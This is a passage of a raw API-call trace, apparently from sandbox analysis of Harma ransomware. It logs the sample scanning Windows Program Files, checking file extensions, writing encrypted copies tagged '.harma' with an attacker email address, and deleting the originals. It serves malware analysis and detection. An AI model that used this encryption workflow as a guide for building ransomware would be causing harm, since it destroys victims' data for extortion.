returned -1 [0174.936] lstrlenW (lpString=".7z") returned 3 [0174.936] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0174.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0174.936] lstrlenW (lpString=".dbf") returned 4 [0174.936] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0174.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0174.936] lstrlenW (lpString=".1cd") returned 4 [0174.936] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0174.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0174.936] lstrlenW (lpString=".jpg") returned 4 [0174.936] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0174.937] lstrcmpiW (lpString1=".FLT", lpString2=".harma") returned -1 [0174.937] lstrlenW (lpString="WPGIMP32.FLT") returned 12 [0174.937] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0174.939] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x38dff1c | out: lpFileSize=0x38dff1c*=280448) returned 1 [0174.939] CloseHandle (hObject=0x1e4) returned 1 [0174.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt")) returned 0x20 [0174.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0174.939] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0174.940] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.940] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.940] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0174.940] GetLastError () returned 0x0 [0174.940] ReadFile (in: hFile=0x1e4, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x38dfed4*=0x44780, lpOverlapped=0x0) returned 1 [0175.184] WriteFile (in: hFile=0x1e8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x44790, lpNumberOfBytesWritten=0x38dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x38dfc9c*=0x44790, lpOverlapped=0x0) returned 1 [0175.192] ReadFile (in: hFile=0x1e4, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x38dfed4*=0x0, lpOverlapped=0x0) returned 1 [0175.192] WriteFile (in: hFile=0x1e8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x38dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0175.192] SetEndOfFile (hFile=0x1e8) returned 1 [0175.193] CloseHandle (hObject=0x1e8) returned 1 [0175.193] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec8 | out: lpNewFilePointer=0x0) returned 1 [0175.193] SetEndOfFile (hFile=0x1e4) returned 1 [0175.196] CloseHandle (hObject=0x1e4) returned 1 [0175.196] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0175.197] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt")) returned 1 [0175.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0175.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0175.197] lstrlenW (lpString=".doc") returned 4 [0175.197] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0175.197] lstrlenW (lpString=".docx") returned 5 [0175.197] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0175.197] lstrlenW (lpString=".pdf") returned 4 [0175.197] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0175.197] lstrlenW (lpString=".xls") returned 4 [0175.197] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0175.197] lstrlenW (lpString=".xlsx") returned 5 [0175.197] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0175.197] lstrlenW (lpString=".ppt") returned 4 [0175.198] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0175.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0175.198] lstrlenW (lpString=".zip") returned 4 [0175.198] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0175.198] lstrlenW (lpString=".rar") returned 4 [0175.198] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0175.198] lstrlenW (lpString=".bz2") returned 4 [0175.198] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0175.198] lstrlenW (lpString=".7z") returned 3 [0175.198] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0175.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0175.198] lstrlenW (lpString=".dbf") returned 4 [0175.198] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0175.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0175.198] lstrlenW (lpString=".1cd") returned 4 [0175.198] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0175.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0175.198] lstrlenW (lpString=".jpg") returned 4 [0175.198] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0175.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0175.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0175.198] lstrlenW (lpString=".doc") returned 4 [0175.198] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0175.198] lstrlenW (lpString=".docx") returned 5 [0175.198] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0175.199] lstrlenW (lpString=".pdf") returned 4 [0175.199] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0175.199] lstrlenW (lpString=".xls") returned 4 [0175.199] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0175.199] lstrlenW (lpString=".xlsx") returned 5 [0175.199] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0175.199] lstrlenW (lpString=".ppt") returned 4 [0175.199] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0175.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0175.199] lstrlenW (lpString=".zip") returned 4 [0175.199] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0175.199] lstrlenW (lpString=".rar") returned 4 [0175.199] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0175.199] lstrlenW (lpString=".bz2") returned 4 [0175.199] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0175.199] lstrlenW (lpString=".7z") returned 3 [0175.199] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0175.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0175.199] lstrlenW (lpString=".dbf") returned 4 [0175.199] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0175.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0175.199] lstrlenW (lpString=".1cd") returned 4 [0175.199] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0175.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0175.199] lstrlenW (lpString=".jpg") returned 4 [0175.200] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0175.200] lstrcmpiW (lpString1=".mui", lpString2=".harma") returned 1 [0175.200] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0175.200] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0175.202] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x38dff1c | out: lpFileSize=0x38dff1c*=3584) returned 1 [0175.202] CloseHandle (hObject=0x1e4) returned 1 [0175.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui")) returned 0x20 [0175.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0175.202] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0175.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0175.202] lstrlenW (lpString=".doc") returned 4 [0175.202] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0175.202] lstrlenW (lpString=".docx") returned 5 [0175.202] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0175.202] lstrlenW (lpString=".pdf") returned 4 [0175.202] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0175.202] lstrlenW (lpString=".xls") returned 4 [0175.202] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0175.202] lstrlenW (lpString=".xlsx") returned 5 [0175.202] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0175.203] lstrlenW (lpString=".ppt") returned 4 [0175.203] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0175.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0175.203] lstrlenW (lpString=".zip") returned 4 [0175.203] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0175.203] lstrlenW (lpString=".rar") returned 4 [0175.203] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0175.203] lstrlenW (lpString=".bz2") returned 4 [0175.203] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0175.203] lstrlenW (lpString=".7z") returned 3 [0175.203] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0175.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0175.203] lstrlenW (lpString=".dbf") returned 4 [0175.203] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0175.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0175.203] lstrlenW (lpString=".1cd") returned 4 [0175.203] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0175.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0175.203] lstrlenW (lpString=".jpg") returned 4 [0175.203] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0175.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0175.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0175.203] lstrlenW (lpString=".doc") returned 4 [0175.203] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0175.204] lstrlenW (lpString=".docx") returned 5 [0175.204] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0175.204] lstrlenW (lpString=".pdf") returned 4 [0175.204] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0175.204] lstrlenW (lpString=".xls") returned 4 [0175.204] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0175.204] lstrlenW (lpString=".xlsx") returned 5 [0175.204] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0175.204] lstrlenW (lpString=".ppt") returned 4 [0175.204] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0175.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0175.204] lstrlenW (lpString=".zip") returned 4 [0175.204] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0175.204] lstrlenW (lpString=".rar") returned 4 [0175.204] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0175.204] lstrlenW (lpString=".bz2") returned 4 [0175.204] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0175.204] lstrlenW (lpString=".7z") returned 3 [0175.204] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0175.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0175.204] lstrlenW (lpString=".dbf") returned 4 [0175.204] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0175.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0175.204] lstrlenW (lpString=".1cd") returned 4 [0175.204] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0175.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0175.205] lstrlenW (lpString=".jpg") returned 4 [0175.205] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0175.205] lstrcmpiW (lpString1=".mui", lpString2=".harma") returned 1 [0175.205] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0175.205] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0175.206] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x38dff1c | out: lpFileSize=0x38dff1c*=4096) returned 1 [0175.206] CloseHandle (hObject=0x1e4) returned 1 [0175.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui")) returned 0x20 [0175.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0175.206] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0175.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0175.206] lstrlenW (lpString=".doc") returned 4 [0175.206] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0175.206] lstrlenW (lpString=".docx") returned 5 [0175.206] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0175.206] lstrlenW (lpString=".pdf") returned 4 [0175.206] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0175.206] lstrlenW (lpString=".xls") returned 4 [0175.207] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0175.207] lstrlenW (lpString=".xlsx") returned 5 [0175.207] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0175.207] lstrlenW (lpString=".ppt") returned 4 [0175.207] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0175.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0175.207] lstrlenW (lpString=".zip") returned 4 [0175.207] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0175.207] lstrlenW (lpString=".rar") returned 4 [0175.207] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0175.207] lstrlenW (lpString=".bz2") returned 4 [0175.207] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0175.207] lstrlenW (lpString=".7z") returned 3 [0175.207] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0175.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0175.207] lstrlenW (lpString=".dbf") returned 4 [0175.207] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0175.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0175.207] lstrlenW (lpString=".1cd") returned 4 [0175.207] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0175.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0175.207] lstrlenW (lpString=".jpg") returned 4 [0175.207] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0175.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0175.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0175.207] lstrlenW (lpString=".doc") returned 4 [0175.207] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0175.208] lstrlenW (lpString=".docx") returned 5 [0175.208] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0175.208] lstrlenW (lpString=".pdf") returned 4 [0175.208] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0175.208] lstrlenW (lpString=".xls") returned 4 [0175.208] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0175.208] lstrlenW (lpString=".xlsx") returned 5 [0175.208] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0175.208] lstrlenW (lpString=".ppt") returned 4 [0175.208] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0175.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0175.208] lstrlenW (lpString=".zip") returned 4 [0175.208] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0175.208] lstrlenW (lpString=".rar") returned 4 [0175.208] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0175.208] lstrlenW (lpString=".bz2") returned 4 [0175.208] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0175.208] lstrlenW (lpString=".7z") returned 3 [0175.208] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0175.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0175.208] lstrlenW (lpString=".dbf") returned 4 [0175.208] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0175.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0175.208] lstrlenW (lpString=".1cd") returned 4 [0175.208] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0175.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui") returned 72 [0175.208] lstrlenW (lpString=".jpg") returned 4 [0175.209] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0175.209] lstrcmpiW (lpString1=".exe", lpString2=".harma") returned -1 [0175.209] lstrlenW (lpString="ConvertInkStore.exe") returned 19 [0175.209] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0175.209] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x38dff1c | out: lpFileSize=0x38dff1c*=193024) returned 1 [0175.209] CloseHandle (hObject=0x1e4) returned 1 [0175.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe")) returned 0x20 [0175.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0175.210] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0175.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0175.210] lstrlenW (lpString=".doc") returned 4 [0175.210] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0175.210] lstrlenW (lpString=".docx") returned 5 [0175.210] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0175.210] lstrlenW (lpString=".pdf") returned 4 [0175.210] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0175.210] lstrlenW (lpString=".xls") returned 4 [0175.210] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0175.210] lstrlenW (lpString=".xlsx") returned 5 [0175.210] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0175.210] lstrlenW (lpString=".ppt") returned 4 [0175.210] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0175.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0175.210] lstrlenW (lpString=".zip") returned 4 [0175.210] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0175.210] lstrlenW (lpString=".rar") returned 4 [0175.210] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0175.210] lstrlenW (lpString=".bz2") returned 4 [0175.210] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0175.210] lstrlenW (lpString=".7z") returned 3 [0175.210] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0175.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0175.211] lstrlenW (lpString=".dbf") returned 4 [0175.211] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0175.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0175.211] lstrlenW (lpString=".1cd") returned 4 [0175.211] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0175.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0175.211] lstrlenW (lpString=".jpg") returned 4 [0175.211] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0175.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0175.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0175.211] lstrlenW (lpString=".doc") returned 4 [0175.211] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0175.211] lstrlenW (lpString=".docx") returned 5 [0175.211] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0175.211] lstrlenW (lpString=".pdf") returned 4 [0175.211] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0175.211] lstrlenW (lpString=".xls") returned 4 [0175.211] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0175.211] lstrlenW (lpString=".xlsx") returned 5 [0175.211] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0175.211] lstrlenW (lpString=".ppt") returned 4 [0175.211] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0175.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe") returned 70 [0175.211] lstrlenW (lpString=".zip") returned 4 [0175.211] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0175.211] lstrlenW (lpString=".rar") 